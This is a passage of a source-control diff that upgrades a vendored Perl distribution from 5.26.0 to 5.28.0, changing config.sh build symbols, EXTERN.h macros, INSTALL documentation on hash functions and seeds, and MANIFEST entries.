 d_drand48_r='undef'
 d_drand48proto='define'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='define'
 d_endgrent_r='undef'
@@ -173,16 +194,24 @@
 d_endsent='define'
 d_endservent_r='undef'
 d_eofnblk='define'
+d_erf='undef'
+d_erfc='undef'
 d_eunice='undef'
+d_exp2='undef'
+d_expm1='undef'
 d_faststdio='define'
 d_fchdir='define'
 d_fchmod='define'
+d_fchmodat='undef'
 d_fchown='define'
 d_fcntl='define'
 d_fcntl_can_lock='define'
 d_fd_macros='define'
 d_fd_set='define'
+d_fdclose='undef'
+d_fdim='undef'
 d_fds_bits='undef'
+d_fegetround='define'
 d_fgetpos='define'
 d_finite='define'
 d_finitel='define'
@@ -189,13 +218,20 @@
 d_flexfnam='define'
 d_flock='define'
 d_flockproto='define'
+d_fma='undef'
+d_fmax='undef'
+d_fmin='undef'
 d_fork='define'
 d_fp_class='undef'
+d_fp_classify='undef'
+d_fp_classl='undef'
 d_fpathconf='define'
 d_fpclass='undef'
 d_fpclassify='undef'
 d_fpclassl='undef'
+d_fpgetround='undef'
 d_fpos64_t='undef'
+d_freelocale='undef'
 d_frexpl='define'
 d_fs_data_s='undef'
 d_fseeko='define'
@@ -206,6 +242,10 @@
 d_ftello='define'
 d_ftime='undef'
 d_futimes='undef'
+d_gai_strerror='undef'
+d_gdbm_ndbm_h_uses_prototypes='undef'
+d_gdbmndbm_h_uses_prototypes='undef'
+d_getaddrinfo='undef'
 d_getcwd='define'
 d_getespwnam='undef'
 d_getfsstat='undef'
@@ -227,6 +267,7 @@
 d_getlogin_r='undef'
 d_getmnt='undef'
 d_getmntent='define'
+d_getnameinfo='undef'
 d_getnbyaddr='define'
 d_getnbyname='define'
 d_getnent='define'
@@ -262,32 +303,71 @@
 d_getspnam='define'
 d_getspnam_r='undef'
 d_gettimeod='define'
+d_gmtime64='undef'
 d_gmtime_r='undef'
 d_gnulibc='define'
 d_grpasswd='define'
 d_hasmntopt='define'
 d_htonl='define'
+d_hypot='undef'
+d_ilogb='undef'
 d_ilogbl='define'
 d_inc_version_list='define'
 d_index='undef'
 d_inetaton='define'
+d_inetntop='undef'
+d_inetpton='undef'
 d_int64_t='define'
+d_ip_mreq='undef'
+d_ip_mreq_source='undef'
+d_ipv6_mreq='undef'
+d_ipv6_mreq_source='undef'
 d_isascii='define'
+d_isblank='undef'
 d_isfinite='undef'
+d_isfinitel='undef'
 d_isinf='define'
+d_isinfl='define'
+d_isless='undef'
 d_isnan='define'
 d_isnanl='define'
+d_isnormal='undef'
+d_j0='define'
+d_j0l='define'
 d_killpg='define'
+d_lc_monetary_2008='undef'
 d_lchown='define'
 d_ldbl_dig='define'
+d_ldexpl='define'
+d_lgamma='undef'
+d_lgamma_r='undef'
 d_libm_lib_version='define'
 d_link='define'
+d_linkat='undef'
+d_llrint='undef'
+d_llrintl='undef'
+d_llround='undef'
+d_llroundl='undef'
+d_localeconv_l='undef'
+d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
 d_locconv='define'
 d_lockf='define'
+d_log1p='undef'
+d_log2='undef'
+d_logb='undef'
+d_long_double_style_ieee='undef'
+d_long_double_style_ieee_doubledouble='undef'
+d_long_double_style_ieee_extended='undef'
+d_long_double_style_ieee_std='undef'
+d_long_double_style_vax='undef'
 d_longdbl='define'
 d_longlong='define'
+d_lrint='undef'
+d_lrintl='undef'
+d_lround='undef'
+d_lroundl='undef'
 d_lseekproto='define'
 d_lstat='define'
 d_madvise='define'
@@ -294,18 +374,19 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
-d_memmove='define'
-d_memset='define'
+d_memmem='undef'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='define'
 d_mkfifo='define'
+d_mkostemp='undef'
 d_mkstemp='define'
 d_mkstemps='undef'
+d_mktime64='undef'
 d_mktime='define'
 d_mmap='define'
 d_modfl='define'
@@ -326,6 +407,13 @@
 d_msync='define'
 d_munmap='define'
 d_mymalloc='undef'
+d_nan='undef'
+d_nanosleep='undef'
+d_ndbm_h_uses_prototypes='undef'
+d_nearbyint='undef'
+d_newlocale='undef'
+d_nextafter='undef'
+d_nexttoward='undef'
 d_nice='define'
 d_nl_langinfo='define'
 d_nv_preserves_uv='define'
@@ -335,13 +423,17 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='define'
+d_openat='undef'
 d_pathconf='define'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='define'
 d_poll='define'
 d_portable='define'
+d_prctl='define'
+d_prctl_set_name='define'
 d_printf_format_null='undef'
 d_procselfexe='define'
 d_pseudofork='undef'
@@ -348,6 +440,7 @@
 d_pthread_atfork='undef'
 d_pthread_attr_setscope='define'
 d_pthread_yield='undef'
+d_ptrdiff_t='define'
 d_pwage='undef'
 d_pwchange='undef'
 d_pwclass='undef'
@@ -358,6 +451,7 @@
 d_pwquota='undef'
 d_qgcvt='define'
 d_quad='define'
+d_querylocale='undef'
 d_random_r='undef'
 d_readdir64_r='undef'
 d_readdir='define'
@@ -365,13 +459,17 @@
 d_readlink='define'
 d_readv='define'
 d_recvmsg='define'
+d_regcomp='undef'
+d_remainder='undef'
+d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
+d_rint='undef'
 d_rmdir='define'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
+d_round='undef'
 d_sbrkproto='define'
+d_scalbn='undef'
 d_scalbnl='define'
 d_sched_yield='define'
 d_scm_rights='define'
@@ -423,11 +521,21 @@
 d_shmdt='define'
 d_shmget='define'
 d_sigaction='define'
+d_siginfo_si_addr='undef'
+d_siginfo_si_band='undef'
+d_siginfo_si_errno='undef'
+d_siginfo_si_pid='undef'
+d_siginfo_si_status='undef'
+d_siginfo_si_uid='undef'
+d_siginfo_si_value='undef'
 d_signbit='define'
 d_sigprocmask='define'
 d_sigsetjmp='define'
+d_sin6_scope_id='undef'
 d_sitearch='define'
 d_snprintf='undef'
+d_sockaddr_in6='undef'
+d_sockaddr_sa_len='undef'
 d_sockatmark='undef'
 d_sockatmarkproto='undef'
 d_socket='define'
@@ -434,15 +542,16 @@
 d_socklen_t='define'
 d_sockpair='define'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='define'
 d_srand48_r='undef'
 d_srandom_r='undef'
 d_sresgproto='undef'
 d_sresuproto='undef'
+d_stat='define'
 d_statblks='define'
 d_statfs_f_flags='undef'
 d_statfs_s='define'
+d_static_inline='undef'
 d_statvfs='define'
 d_stdio_cnt_lval='undef'
 d_stdio_ptr_lval='define'
@@ -451,18 +560,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='define'
 d_stdstdio='define'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
+d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='define'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='define'
+d_strtold_l='undef'
 d_strtoll='define'
 d_strtoq='define'
 d_strtoul='define'
@@ -481,6 +590,8 @@
 d_tcsetpgrp='define'
 d_telldir='define'
 d_telldirproto='define'
+d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='define'
 d_times='define'
@@ -487,7 +598,9 @@
 d_tm_tm_gmtoff='define'
 d_tm_tm_zone='define'
 d_tmpnam_r='undef'
+d_trunc='undef'
 d_truncate='define'
+d_truncl='define'
 d_ttyname_r='undef'
 d_tzname='define'
 d_u32align='undef'
@@ -495,8 +608,10 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='undef'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='define'
+d_uselocale='undef'
 d_usleep='define'
 d_usleepproto='define'
 d_ustat='define'
@@ -508,12 +623,12 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='define'
 d_wait4='define'
 d_waitpid='define'
+d_wcscmp='undef'
 d_wcstombs='define'
+d_wcsxfrm='undef'
 d_wctomb='define'
 d_writev='define'
 d_xenix='undef'
@@ -523,9 +638,14 @@
 db_version_major=''
 db_version_minor=''
 db_version_patch=''
+default_inc_excludes_dot='undef'
 direntrytype='struct dirent'
 dlext='so'
 dlsrc='dl_dlopen.xs'
+doubleinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f'
+doublekind='3'
+doublemantbits='52'
+doublenanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f'
 doublesize='8'
 drand01='Perl_drand48()'
 drand48_r_proto='0'
@@ -610,7 +730,7 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
+i_bfd='undef'
 i_bsdioctl=''
 i_crypt='define'
 i_db='undef'
@@ -617,8 +737,9 @@
 i_dbm='undef'
 i_dirent='define'
 i_dlfcn='define'
+i_execinfo='undef'
 i_fcntl='undef'
-i_float='define'
+i_fenv='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -629,13 +750,10 @@
 i_inttypes='define'
 i_langinfo='define'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='define'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='define'
 i_ndbm='undef'
 i_netdb='define'
@@ -646,14 +764,14 @@
 i_prot='undef'
 i_pthread='define'
 i_pwd='define'
+i_quadmath='undef'
 i_rpcsvcdbm='undef'
 i_sgtty='undef'
 i_shadow='define'
 i_socks='undef'
-i_stdarg='define'
-i_stddef='define'
+i_stdbool='undef'
+i_stdint='define'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='define'
@@ -666,8 +784,8 @@
 i_sysmode='undef'
 i_sysmount='define'
 i_sysndir='undef'
-i_syspoll='define'
 i_sysparam='define'
+i_syspoll='undef'
 i_sysresrc='define'
 i_syssecrt='undef'
 i_sysselct='define'
@@ -690,16 +808,15 @@
 i_unistd='define'
 i_ustat='define'
 i_utime='define'
-i_values='define'
-i_varargs='undef'
-i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='undef'
+i_xlocale='undef'
 ignore_versioned_solibs='y'
 inc_version_list=' '
 inc_version_list_init='0'
 incpath=''
 inews=''
-installarchlib='./install_me_here/usr/lib/perl5/5.26.0/armv4l-linux'
+installarchlib='./install_me_here/usr/lib/perl5/5.28.0/armv4l-linux'
 installbin='./install_me_here/usr/bin'
 installhtml1dir=''
 installhtml3dir=''
@@ -707,13 +824,13 @@
 installman3dir='./install_me_here/usr/share/man/man3'
 installprefix='./install_me_here/usr'
 installprefixexp='./install_me_here/usr'
-installprivlib='./install_me_here/usr/lib/perl5/5.26.0'
+installprivlib='./install_me_here/usr/lib/perl5/5.28.0'
 installscript='./install_me_here/usr/bin'
-installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.26.0/armv4l-linux'
+installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.28.0/armv4l-linux'
 installsitebin='./install_me_here/usr/bin'
 installsitehtml1dir=''
 installsitehtml3dir=''
-installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.26.0'
+installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.28.0'
 installsiteman1dir='./install_me_here/usr/share/man/man1'
 installsiteman3dir='./install_me_here/usr/share/man/man3'
 installsitescript='./install_me_here/usr/bin'
@@ -759,6 +876,10 @@
 localtime_r_proto='0'
 locincpth='/usr/local/include /opt/local/include /usr/gnu/include /opt/gnu/include /usr/GNU/include /opt/GNU/include'
 loclibpth='/usr/local/lib /opt/local/lib /usr/gnu/lib /opt/gnu/lib /usr/GNU/lib /opt/GNU/lib'
+longdblinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00'
+longdblkind='0'
+longdblmantbits='64'
+longdblnanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00'
 longdblsize='8'
 longlongsize='8'
 longsize='4'
@@ -807,11 +928,12 @@
 nvEUformat='"E"'
 nvFUformat='"F"'
 nvGUformat='"G"'
+nv_overflows_integers_at='256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0'
 nv_preserves_uv_bits='32'
-nv_overflows_integers_at='256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0'
 nveformat='"e"'
 nvfformat='"f"'
 nvgformat='"g"'
+nvmantbits='52'
 nvsize='8'
 nvtype='double'
 o_nonblock='O_NONBLOCK'
@@ -830,6 +952,7 @@
 perl5='/usr/bin/perl'
 perl=''
 perl_patchlevel=''
+perl_static_inline='static'
 perladmin='red at criticalintegration.com'
 perllibs='-lnsl -ldl -lm -lcrypt -lutil -lc'
 perlpath='/usr/bin/perl'
@@ -841,8 +964,8 @@
 pr=''
 prefix='/usr'
 prefixexp='/usr'
-privlib='/usr/lib/perl5/5.26.0'
-privlibexp='/usr/lib/perl5/5.26.0'
+privlib='/usr/lib/perl5/5.28.0'
+privlibexp='/usr/lib/perl5/5.28.0'
 procselfexe='"/proc/self/exe"'
 prototype='define'
 ptrsize='4'
@@ -861,6 +984,10 @@
 rmail=''
 run=''
 runnm='false'
+sGMTIME_max='2147483647'
+sGMTIME_min='0'
+sLOCALTIME_max='2147483647'
+sLOCALTIME_min='0'
 sPRIEUldbl='"E"'
 sPRIFUldbl='"F"'
 sPRIGUldbl='"G"'
@@ -903,8 +1030,8 @@
 sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 6, 17, 29, 31, 0'
 sig_size='68'
 signal_t='void'
-sitearch='/usr/lib/perl5/site_perl/5.26.0/armv4l-linux'
-sitearchexp='/usr/lib/perl5/site_perl/5.26.0/armv4l-linux'
+sitearch='/usr/lib/perl5/site_perl/5.28.0/armv4l-linux'
+sitearchexp='/usr/lib/perl5/site_perl/5.28.0/armv4l-linux'
 sitebin='/usr/bin'
 sitebinexp='/usr/bin'
 sitehtml1dir=''
@@ -911,9 +1038,9 @@
 sitehtml1direxp=''
 sitehtml3dir=''
 sitehtml3direxp=''
-sitelib='/usr/lib/perl5/site_perl/5.26.0'
+sitelib='/usr/lib/perl5/site_perl/5.28.0'
 sitelib_stem='/usr/lib/perl5/site_perl'
-sitelibexp='/usr/lib/perl5/site_perl/5.26.0'
+sitelibexp='/usr/lib/perl5/site_perl/5.28.0'
 siteman1dir='/usr/share/man/man1'
 siteman1direxp='/usr/share/man/man1'
 siteman3dir='/usr/share/man/man3'
@@ -937,6 +1064,8 @@
 srandom_r_proto='0'
 src='.'
 ssizetype='ssize_t'
+st_ino_sign='1'
+st_ino_size='4'
 startperl='#!/usr/bin/perl'
 startsh='#!/bin/sh'
 static_ext='DynaLoader '
@@ -955,6 +1084,7 @@
 tail=''
 tar=''
 targetarch=''
+targetsh='/bin/sh'
 tbl=''
 tee=''
 test='test'
@@ -985,11 +1115,14 @@
 use5005threads='undef'
 use64bitall='undef'
 use64bitint='undef'
+usecbacktrace='undef'
 usecrosscompile='undef'
+usedevel='undef'
 usedl='define'
 usedtrace='undef'
 usefaststdio='define'
 useithreads='undef'
+usekernprocpathname='undef'
 uselargefiles='define'
 uselongdouble='undef'
 usemallocwrap='define'
@@ -997,9 +1130,11 @@
 usemultiplicity='undef'
 usemymalloc='n'
 usenm='false'
+usensgetexecutablepath='undef'
 useopcode='true'
 useperlio='define'
 useposix='true'
+usequadmath='undef'
 usereentrant='undef'
 userelocatableinc='undef'
 useshrplib='true'
@@ -1035,8 +1170,8 @@
 vendorprefixexp=''
 vendorscript=''
 vendorscriptexp=''
-version='5.26.0'
-version_patchlevel_string='version 26 subversion 0'
+version='5.28.0'
+version_patchlevel_string='version 28 subversion 0'
 versiononly='undef'
 vi=''
 xlibpth='/usr/lib/386 /lib/386'
@@ -1049,10 +1184,10 @@
 config_args=''
 config_argc=0
 PERL_REVISION=5
-PERL_VERSION=26
+PERL_VERSION=28
 PERL_SUBVERSION=0
 PERL_API_REVISION=5
-PERL_API_VERSION=26
+PERL_API_VERSION=28
 PERL_API_SUBVERSION=0
 PERL_PATCHLEVEL=
 PERL_CONFIG_SH=true

Modified: vendor/perl/dist/EXTERN.h
===================================================================
--- vendor/perl/dist/EXTERN.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/EXTERN.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,18 +26,16 @@
 #      define dEXT 
 #      define EXTCONST extern const
 #      define dEXTCONST const
+#    elif defined(PERLDLL) || defined(__SYMBIAN32__)
+#      define EXT EXTERN_C __declspec(dllexport)
+#      define dEXT 
+#      define EXTCONST EXTERN_C __declspec(dllexport) const
+#      define dEXTCONST const
 #    else
-#      if defined(PERLDLL) || defined(__SYMBIAN32__)
-#        define EXT EXTERN_C __declspec(dllexport)
-#        define dEXT 
-#        define EXTCONST EXTERN_C __declspec(dllexport) const
-#        define dEXTCONST const
-#      else
-#        define EXT EXTERN_C __declspec(dllimport)
-#        define dEXT 
-#        define EXTCONST EXTERN_C __declspec(dllimport) const
-#        define dEXTCONST const
-#      endif
+#      define EXT EXTERN_C __declspec(dllimport)
+#      define dEXT 
+#      define EXTCONST EXTERN_C __declspec(dllimport) const
+#      define dEXTCONST const
 #    endif
 #  else
 #    if defined(__CYGWIN__) && defined(USEIMPORTLIB)

Modified: vendor/perl/dist/INSTALL
===================================================================
--- vendor/perl/dist/INSTALL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/INSTALL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -366,58 +366,79 @@
 B<Unless stated otherwise these options are considered experimental or
 insecure and are not recommended for production use.>
 
-Perl 5.18 includes support for multiple hash functions, and changed
-the default (to ONE_AT_A_TIME_HARD), you can choose a different
-algorithm by defining one of the following symbols. Note that as of
-Perl 5.18 we can only recommend use of the default or SIPHASH. All
-the others are known to have security issues and are for research
-purposes only.
+Since Perl 5.18 we have included support for multiple hash functions,
+although from time to time we change which functions we support,
+and which function is default (currently SBOX+STADTX on 64 bit builds
+and SBOX+ZAPHOD32 for 32 bit builds). You can choose a different
+algorithm by defining one of the following symbols during configure.
+Note that there security implications of which hash function you choose
+to use. The functions are listed roughly by how secure they are believed
+to be, with the one believed to be most secure at release time being PERL_HASH_FUNC_SIPHASH.
 
     PERL_HASH_FUNC_SIPHASH
-    PERL_HASH_FUNC_SDBM
-    PERL_HASH_FUNC_DJB2
-    PERL_HASH_FUNC_SUPERFAST
-    PERL_HASH_FUNC_MURMUR3
-    PERL_HASH_FUNC_ONE_AT_A_TIME
-    PERL_HASH_FUNC_ONE_AT_A_TIME_HARD
-    PERL_HASH_FUNC_ONE_AT_A_TIME_OLD
+    PERL_HASH_FUNC_SIPHASH13
+    PERL_HASH_FUNC_ZAPHOD32
+    PERL_HASH_FUNC_STADTX
 
-Perl 5.18 randomizes the order returned by keys(), values(), and each(),
-and allows controlling this behavior by using of the PERL_PERTURB_KEYS
-option. You can disable this option entirely with the define:
+In addition, these, (or custom hash functions), may be "fronted" by the
+SBOX32 hash function for keys under a chosen size. This hash function is
+special in that it has proven theoretical security properties, and is very
+fast to hash, but which by nature is restricted to a maximum key length,
+and which has rather expensive setup costs (relatively speaking), both in
+terms of performance and more importantly in terms of memory. SBOX32
+requires 1k of storage per character it can hash, and it must populate that
+storage with 256 32-bit random values as well. In practice the RNG we use
+for seeding the SBOX32 storage is very efficient and populating the table
+required for hashing even fairly long keys is negligble as we only do it
+during startup. By default we build with SBOX32 enabled, but you change that
+by setting
 
+   PERL_HASH_USE_SBOX32_ALSO
+
+to zero in configure. By default Perl will use SBOX32 to hash strings 24 bytes
+or shorter, you can change this length by setting
+
+    SBOX32_MAX_LEN
+
+to the desired length, with the maximum length being 256.
+
+As of Perl 5.18 the order returned by keys(), values(), and each() is
+non-deterministic and distinct per hash, and the insert order for
+colliding keys is randomized as well, and perl allows for controlling this
+by the PERL_PERTURB_KEYS environment setting. You can disable this behavior
+entirely with the define
+
     PERL_PERTURB_KEYS_DISABLED
 
-You can disable the environment variable checks and specify the type of
-key traversal randomization to be used by defining one of these:
+You can disable the environment variable checks and compile time specify
+the type of key traversal randomization to be used by defining one of these:
 
     PERL_PERTURB_KEYS_RANDOM
     PERL_PERTURB_KEYS_DETERMINISTIC
 
-In Perl 5.18 the seed used for the hash function is randomly selected
-at process start which can be overridden by specifying a seed by setting
+Since Perl 5.18 the seed used for the hash function is randomly selected
+at process start, which can be overridden by specifying a seed by setting
 the PERL_HASH_SEED environment variable.
 
-You can change this behavior by building perl with the
+You can change this behavior so that your perl is built with a hard coded
+seed with the define
 
-   USE_HASH_SEED_EXPLICIT
-
-define, in which case one has to explicitly set the PERL_HASH_SEED
-environment variable to enable the security feature or by adding
-
     NO_HASH_SEED
 
-to the compilation flags to completely disable the randomisation feature.
-Note these modes are poorly tested, insecure and not recommended.
+Note that if you do this you should modify the code in hv_func.h to specify
+your own key. In the future this define may be renamed and replaced with one
+that requires you to specify the key to use.
 
-B<Perl has never guaranteed any ordering of the hash keys>, and the
+B<NOTE WELL: Perl has never guaranteed any ordering of the hash keys>, and the
 ordering has already changed several times during the lifetime of Perl
 5.  Also, the ordering of hash keys has always been, and continues to
-be, affected by the insertion order.  Note that because of this
-randomisation for example the Data::Dumper results will be different
-between different runs of Perl, since Data::Dumper by default dumps
-hashes "unordered".  The use of the Data::Dumper C<Sortkeys> option is
-recommended.
+be, affected by the insertion order regardless of whether you build with
+or without the randomization features.  Note that because of this
+and especially with randomization that the key order of a hash is *undefined*
+and that things like Data::Dumper, for example, may produce different output
+between different runs of Perl, since Data::Dumper serializes the key in the
+native order for the hash.  The use of the Data::Dumper C<Sortkeys> option is
+recommended if you are comparing dumps between different invocations of perl.
 
 See L<perlrun/PERL_HASH_SEED> and L<perlrun/PERL_PERTURB_KEYS> for
 details on the environment variables, and L<perlsec/Algorithmic
@@ -498,7 +519,7 @@
 something like the following with the newly-built but not-yet-installed
 ./perl:
 
-        ./perl -MTestInit t/misc/failing_test.t
+        ./perl -I. -MTestInit t/misc/failing_test.t
 
 or
 
@@ -588,7 +609,7 @@
 
 =item Directories for the perl distribution
 
-By default, Configure will use the following directories for 5.26.0.
+By default, Configure will use the following directories for 5.28.0.
 $version is the full perl version number, including subversion, e.g.
 5.12.3, and $archname is a string like sun4-sunos,
 determined by Configure.  The full definitions of all Configure
@@ -769,6 +790,10 @@
 
 	sh Configure -Dman3ext=3pm
 
+You can disable installation of man pages completely using
+
+	sh Configure -Dman1dir=none -Dman3dir=none
+
 =item HTML pages
 
 Currently, the standard perl installation does not do anything with
@@ -1511,28 +1536,6 @@
 So if you are getting strange test failures, you may want to try
 retesting with the various PERL variables unset.
 
-=item varargs
-
-If you get varargs problems with gcc, be sure that gcc is installed
-correctly and that you are not passing -I/usr/include to gcc.  When using
-gcc, you should probably have i_stdarg='define' and i_varargs='undef'
-in config.sh.  The problem is usually solved by installing gcc
-correctly.  If you do change config.sh, don't forget to propagate
-your changes (see L<"Propagating your changes to config.sh"> below).
-See also the L<"vsprintf"> item below.
-
-=item util.c
-
-If you get error messages such as the following (the exact line
-numbers and function name may vary in different versions of perl):
-
-    util.c: In function 'Perl_form':
-    util.c:1107: number of arguments doesn't match prototype
-    proto.h:125: prototype declaration
-
-it might well be a symptom of the gcc "varargs problem".  See the
-previous L<"varargs"> item.
-
 =item LD_LIBRARY_PATH
 
 If you run into dynamic loading problems, check your setting of
@@ -1561,20 +1564,6 @@
 this is probably the L<"nm extraction"> problem discussed above.  Also,
 try reading the hints file for your system for further information.
 
-=item vsprintf
-
-If you run into problems with vsprintf in compiling util.c, the
-problem is probably that Configure failed to detect your system's
-version of vsprintf().  Check whether your system has vprintf().
-(Virtually all modern Unix systems do.)  Then, check the variable
-d_vprintf in config.sh.  If your system has vprintf, it should be:
-
-	d_vprintf='define'
-
-If Configure guessed wrong, it is likely that Configure guessed wrong
-on a number of other common functions too.  This is probably
-the L<"nm extraction"> problem discussed above.
-
 =item do_aspawn
 
 If you run into problems relating to do_aspawn or do_spawn, the
@@ -2451,7 +2440,7 @@
 
 =head1 Coexistence with earlier versions of perl 5
 
-Perl 5.26.0 is not binary compatible with earlier versions of Perl.
+Perl 5.28.0 is not binary compatible with earlier versions of Perl.
 In other words, you will have to recompile your XS modules.
 
 In general, you can usually safely upgrade from one version of Perl
@@ -2526,9 +2515,9 @@
 libraries after 5.6.0, but not for executables. TODO?)  One convenient
 way to do this is by using a separate prefix for each version, such as
 
-	sh Configure -Dprefix=/opt/perl5.26.0
+	sh Configure -Dprefix=/opt/perl5.28.0
 
-and adding /opt/perl5.26.0/bin to the shell PATH variable.  Such users
+and adding /opt/perl5.28.0/bin to the shell PATH variable.  Such users
 may also wish to add a symbolic link /usr/local/bin/perl so that
 scripts can still start with #!/usr/local/bin/perl.
 
@@ -2541,13 +2530,13 @@
 subversions may not have all the compatibility wrinkles ironed out
 yet.
 
-=head2 Upgrading from 5.25.9 or earlier
+=head2 Upgrading from 5.27.8 or earlier
 
-B<Perl 5.26.0 may not be binary compatible with Perl 5.25.9 or
+B<Perl 5.28.0 may not be binary compatible with Perl 5.27.8 or
 earlier Perl releases.>  Perl modules having binary parts
 (meaning that a C compiler is used) will have to be recompiled to be
-used with 5.26.0.  If you find you do need to rebuild an extension with
-5.26.0, you may safely do so without disturbing the older
+used with 5.28.0.  If you find you do need to rebuild an extension with
+5.28.0, you may safely do so without disturbing the older
 installations.  (See L<"Coexistence with earlier versions of perl 5">
 above.)
 
@@ -2580,15 +2569,15 @@
      print("$f\n");
   }
 
-in Linux with perl-5.26.0 is as follows (under $Config{prefix}):
+in Linux with perl-5.28.0 is as follows (under $Config{prefix}):
 
   ./bin/perl
-  ./lib/perl5/5.26.0/strict.pm
-  ./lib/perl5/5.26.0/warnings.pm
-  ./lib/perl5/5.26.0/i686-linux/File/Glob.pm
-  ./lib/perl5/5.26.0/feature.pm
-  ./lib/perl5/5.26.0/XSLoader.pm
-  ./lib/perl5/5.26.0/i686-linux/auto/File/Glob/Glob.so
+  ./lib/perl5/5.28.0/strict.pm
+  ./lib/perl5/5.28.0/warnings.pm
+  ./lib/perl5/5.28.0/i686-linux/File/Glob.pm
+  ./lib/perl5/5.28.0/feature.pm
+  ./lib/perl5/5.28.0/XSLoader.pm
+  ./lib/perl5/5.28.0/i686-linux/auto/File/Glob/Glob.so
 
 Secondly, for perl-5.10.1, the Debian perl-base package contains 591
 files, (of which 510 are for lib/unicore) totaling about 3.5MB in its
@@ -2700,6 +2689,12 @@
 by perl itself; for source compatibility reasons, though, they weren't
 completely removed.
 
+=head2 C<-DNO_PERL_INTERNAL_RAND_SEED>
+X<PERL_INTERNAL_RAND_SEED>
+
+If you configure perl with C<-Accflags=-DNO_PERL_INTERNAL_RAND_SEED>,
+perl will ignore the C<PERL_INTERNAL_RAND_SEED> enviroment variable.
+
 =head1 DOCUMENTATION
 
 Read the manual entries before running perl.  The main documentation
@@ -2723,4 +2718,5 @@
 the same terms as perl itself, with the following additional request:
 If you are distributing a modified version of perl (perhaps as part of
 a larger package) please B<do> modify these installation instructions
-and the contact information to match your distribution.
+and the contact information to match your distribution. Additional
+information for packagers is in F<PACKAGING>.

Modified: vendor/perl/dist/MANIFEST
===================================================================
--- vendor/perl/dist/MANIFEST	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/MANIFEST	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,6 @@
 .dir-locals.el			Emacs control file
+.metaconf-exclusions.txt	Symbols that should ignored when generating Configure
+.travis.yml		continuous integration on github (where enabled)
 amigaos4/amigaio.c	AmigaOS4 port
 amigaos4/amigaio.h	AmigaOS4 port
 amigaos4/amigaos.c	AmigaOS4 port
@@ -242,6 +244,8 @@
 cpan/Config-Perl-V/t/29_plv5235w.t		Config::Perl::V
 cpan/Config-Perl-V/t/30_plv5240.t		Config::Perl::V
 cpan/Config-Perl-V/t/31_plv52511.t		Config::Perl::V
+cpan/Config-Perl-V/t/32_plv5261rc1.t		Config::Perl::V
+cpan/Config-Perl-V/t/33_plv52711r.t		Config::Perl::V
 cpan/Config-Perl-V/V.pm				Config::Perl::V
 cpan/CPAN/lib/App/Cpan.pm		helper package for CPAN.pm
 cpan/CPAN/lib/CPAN.pm			Interface to Comprehensive Perl Archive Network
@@ -460,374 +464,6 @@
 cpan/DB_File/t/db-recno.t	See if DB_File works
 cpan/DB_File/typemap		Berkeley DB extension interface types
 cpan/DB_File/version.c		Berkeley DB extension interface version check
-cpan/Devel-PPPort/apicheck_c.PL		Devel::PPPort apicheck generator
-cpan/Devel-PPPort/devel/buildperl.pl	Devel::PPPort perl version builder
